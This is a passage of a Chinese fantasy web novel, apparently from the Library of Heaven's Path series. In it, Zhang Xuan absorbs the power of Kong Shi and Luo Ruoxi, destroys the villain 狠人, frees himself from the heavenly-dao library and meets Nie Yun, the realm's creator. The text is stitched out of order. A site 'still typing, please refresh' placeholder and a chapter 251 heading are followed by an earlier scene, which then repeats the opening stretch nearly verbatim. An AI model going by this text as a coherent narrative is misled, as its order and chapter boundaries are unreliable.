“我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第二百五十一章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 